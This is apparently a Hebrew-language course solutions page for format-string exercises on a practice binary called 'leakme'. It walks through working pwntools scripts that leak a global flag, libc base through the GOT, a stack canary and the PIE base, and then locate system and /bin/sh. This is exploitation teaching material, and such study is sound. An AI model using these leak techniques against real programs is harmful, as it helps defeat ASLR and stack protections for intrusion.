לדלג לתוכן

5.2 קריאה שרירותית מהזיכרון פתרון

פתרון - קריאה שרירותית מהזיכרון

נעבור על התרגילים לפי הסדר. המטרה: לדלוף תוכן של גלובל ואת בסיס libc דרך קריאות format string בלבד. נניח לאורך הפתרון שהבינארי הוא leakme שקימפלנו בלי PIE ובלי canary, עם ASLR של המערכת פעיל.

תזכורת על ההנחות: buf[128] על המחסנית, printf(buf) vulnerable, כתובות הבינארי (גלובל, GOT) קבועות, libc זזה בכל הרצה בגלל ASLR.


פתרון תרגיל 1 - מציאת האינדקס של הbuffer

שולחים סמן של 8 בתים ואחריו ספציפיירים פוזיציוניים, ובודקים היכן צף 0x4141414141414141:

$ python3 -c 'import sys; sys.stdout.buffer.write(b"AAAAAAAA.%6$p.%7$p.%8$p.%9$p.%10$p\n")' | ./leakme
send format:
AAAAAAAA.0x4141414141414141.0x7ffff7...

שמונת ה-A נחתו על %6$p. מכאן BUF_INDEX = 6, כלומר buf[0..7] הוא הארגומנט הפוזיציוני השישי, ו-buf[8..15] הוא השביעי. אותו דבר מתוך pwntools, נוח לאוטומציה:

from pwn import *

context.binary = elf = ELF('./leakme')

io = process('./leakme')
io.recvuntil(b'send format:')
io.sendline(b'AAAAAAAA.%6$p.%7$p.%8$p.%9$p')
print(io.recvline())        # looking for 0x4141414141414141
io.close()

למה זה עבד / איך להכליל: האינדקס תלוי במיקום הbuffer על המחסנית ובמהדר, אז מודדים אותו לכל בינארי. הסמן של 8 בתים חייב להיות בדיוק ברוחב סלוט (AAAAAAAA = 0x4141414141414141), אחרת קשה לזהות אותו בין הערכים. מרגע שיודעים את BUF_INDEX, האריתמטיקה פשוטה: buf[8*k .. ] הוא אינדקס BUF_INDEX + k.


פתרון תרגיל 2 - leak של תוכן הגלובל

קודם מוצאים את כתובת הגלובל (קבועה, כי אין PIE):

$ objdump -t leakme | grep flag_store
0000000000404080 g     O .bss   0000000000000040 flag_store

עכשיו בונים את הקריאה השרירותית. BUF_INDEX = 6, אז שמים את הכתובת בסלוט 7 (buf[8..15]) ומכוונים עליו %7$s. הקידומת חייבת להיות 8 בתים בדיוק כדי שהכתובת תנחת aligned:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./leakme')
BUF_INDEX = 6

def read_at(io, addr):
    idx = BUF_INDEX + 1                        # the address goes in slot buf[8..15]
    payload = f'%{idx}$s#'.encode()            # '%7$s#'
    payload = payload.ljust(8, b'A')           # padding for alignment: an 8-byte prefix
    payload += p64(addr)                        # the address on a clean slot
    io.sendline(payload)
    return io.recvuntil(b'#', drop=True)

io = process('./leakme')
io.recvuntil(b'send format:')
leak = read_at(io, elf.symbols['flag_store'])
log.success('flag_store = %r', leak)           # b'FLAG{...}'
io.close()

הרצה:

[+] flag_store = b'FLAG{replace_me_at_runtime}'

מה קורה בלי הalignment? אם נשלח %7$s + הכתובת ישר (קידומת של 4 בתים), הכתובת נוחתת ב-buf[4], באמצע סלוט, ו-%7$s יקרא בתים שבורים - מצביע זבל ו-Segmentation fault:

[!] Program crashed with SIGSEGV

למה זה עבד / איך להכליל: %s מפרש את הארגומנט כמצביע ומדפיס את המחרוזת שבכתובת. אנחנו שולטים בסלוט הפוזיציוני buf[8..15], אז שתלנו שם את הכתובת שרצינו לקרוא. הסמן # מיד אחרי הספציפייר מאפשר לחתוך בדיוק את הפלט של %s בלי הזבל שאחריו. הכלל: קידומת בכפולה של 8, כתובת בסוף, ובית סמן לחיתוך נקי.


פתרון תרגיל 3 - leak של כתובת libc

הפעם קוראים רשומה מטבלת ה-GOT. הפונקציה read נקראה כבר לפני ה-printf, אז הרשומה שלה מצביעה לכתובת האמיתית ב-libc:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./leakme')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
BUF_INDEX = 6

def read_at(io, addr):
    idx = BUF_INDEX + 1
    payload = f'%{idx}$s#'.encode().ljust(8, b'A') + p64(addr)
    io.sendline(payload)
    return io.recvuntil(b'#', drop=True)

io = process('./leakme')
io.recvuntil(b'send format:')

leaked = read_at(io, elf.got['read'])
read_addr = u64(leaked.ljust(8, b'\x00'))       # pad out to 8 bytes
log.success('read@libc = %#x', read_addr)

libc.address = read_addr - libc.symbols['read']
log.success('libc base = %#x', libc.address)
log.info('system     = %#x', libc.symbols['system'])
log.info('/bin/sh    = %#x', next(libc.search(b'/bin/sh')))
io.close()

פלט לדוגמה (ישתנה בכל הרצה בגלל ASLR):

[+] read@libc = 0x7ffff7eb8360
[+] libc base = 0x7ffff7db4000
[*] system     = 0x7ffff7e04d70
[*] /bin/sh    = 0x7ffff7f6f5aa

שימו לב שבסיס libc תמיד מסתיים ב-000 (aligned לעמוד של 4KB), וזו בדיקת שפיות טובה: אם קיבלתם בסיס שלא מסתיים באפסים, כנראה שהאינדקס לא נכון או שהalignment נשבר.

למה זה עבד / איך להכליל: ה-GOT מכיל את הכתובות ה"חיות" של פונקציות libc אחרי שנקראו. דלפנו אחת מהן, ובגלל שההיסטים בתוך libc קבועים, חיסור פשוט נותן את הבסיס. משם pwntools מחשב כל כתובת אחרת. שני דגשים: לדלוף פונקציה שכבר נקראה (אחרת יש שם PLT stub), ולהשתמש בדיוק בקובץ ה-libc של היעד, כי ההיסטים משתנים בין גרסאות.


פתרון תרגיל 4 - סקריפט leak שלם

מאחדים הכל, עם תמיכה בשרת מרוחק:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./leakme')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'info'

BUF_INDEX = 6

def conn():
    if args.REMOTE:
        return remote('127.0.0.1', 1337)
    return process('./leakme')

def read_at(io, addr):
    idx = BUF_INDEX + 1
    payload = f'%{idx}$s#'.encode().ljust(8, b'A') + p64(addr)
    io.sendline(payload)
    return io.recvuntil(b'#', drop=True)

io = conn()
io.recvuntil(b'send format:')

# 1. leak the contents of the global
flag = read_at(io, elf.symbols['flag_store'])
log.success('flag_store = %r', flag)

# 2. leak libc through the GOT
libc.address = u64(read_at(io, elf.got['read']).ljust(8, b'\x00')) - libc.symbols['read']
log.success('libc base  = %#x', libc.address)
log.success('system     = %#x', libc.symbols['system'])

io.close()

מריצים מקומית עם python3 solve.py, ומול השירות (אחרי socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./leakme) עם python3 solve.py REMOTE.

למה זה עבד / איך להכליל: בנינו לבנה אחת, read_at, ובנינו ממנה שתי leaks. הסמן # בכל leak מפריד בבירור בין הפלטים, כך שאין בלבול בין השליחות. אותו סקריפט עובד מקומית ומרחוק בזכות args.REMOTE - זה בדיוק המעבר מפיתוח לפרודקשן.


פתרון תרגיל 5 (בונוס) - הcanary ו-PIE

הleak של הcanary. קמפלנו leakme_canary. מזהים את סלוט הcanary - ערך אקראי שמסתיים ב-00:

$ python3 -c 'print(".".join("%%%d$p"%i for i in range(6,25)))' | ./leakme_canary
send format:
0x...  ...  0xNNNNNNNNNNNNNN00  ...

נניח שהוא נחת באינדקס 17. קוראים אותו ישירות עם %p:

from pwn import *
context.binary = elf = ELF('./leakme_canary')
CANARY_INDEX = 17

io = process('./leakme_canary')
io.recvuntil(b'send format:')
io.sendline(b'%%%d$p' % CANARY_INDEX)      # b'%17$p'
canary = int(io.recvline().strip(), 16)
log.success('canary = %#x', canary)         # ends in 00
io.close()

כאן משתמשים ב-%p ולא ב-%s כי הcanary הוא ערך ששוכן על המחסנית עצמה - אין כתובת לעשות לה dereference, פשוט קוראים את הסלוט. ניסיון לקרוא אותו כ-%s ייכשל ממילא, כי הבית התחתון של הcanary הוא null.

הleak של בסיס PIE. בגרסת ה-PIE כתובת ה-GOT אקראית, אז קודם מדליפים מצביע קוד מהמחסנית. מזהים אותו כערך שמתחיל ב-0x55 או 0x56. מוצאים את ההיסט הקבוע פעם אחת עם ASLR כבוי:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# run it, read the value that leaked from the slot, and subtract the load base from /proc/PID/maps
# the difference is the fixed offset, e.g. 0x1189

ואז, גם עם ASLR פעיל בחזרה:

from pwn import *
context.binary = elf = ELF('./leakme_pie')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
BUF_INDEX = 6
RET_INDEX = 17          # slot with a return address into the code - measure it
RET_OFFSET = 0x1189     # the fixed offset - measure once

def read_at(io, addr):
    idx = BUF_INDEX + 1
    payload = f'%{idx}$s#'.encode().ljust(8, b'A') + p64(addr)
    io.sendline(payload)
    return io.recvuntil(b'#', drop=True)

io = process('./leakme_pie')
io.recvuntil(b'send format:')

# step 1: PIE base from a code pointer on the stack
io.sendline(b'%%%d$p' % RET_INDEX)
code_ptr = int(io.recvline().strip(), 16)
elf.address = code_ptr - RET_OFFSET
log.success('PIE base = %#x', elf.address)

# step 2: now the GOT address is known, we can leak libc
libc.address = u64(read_at(io, elf.got['read']).ljust(8, b'\x00')) - libc.symbols['read']
log.success('libc base = %#x', libc.address)
io.close()

למה זה עבד / איך להכליל: בבינארי PIE אי אפשר לכוון %s על ה-GOT לפני שיודעים את בסיס הקוד, כי הכתובת שלו עצמה אקראית. לכן הסדר קבוע: קודם מדליפים מצביע קוד מהמחסנית עם %p ומחשבים elf.address, ורק אז ה-elf.got[...] מתעדכן לכתובת חיה ואפשר לדלוף libc. הכלל הכללי: כל שכבת ASLR נשברת בנפרד, לפי סדר תלות - קוד קודם, ואז מה שנגזר ממנו.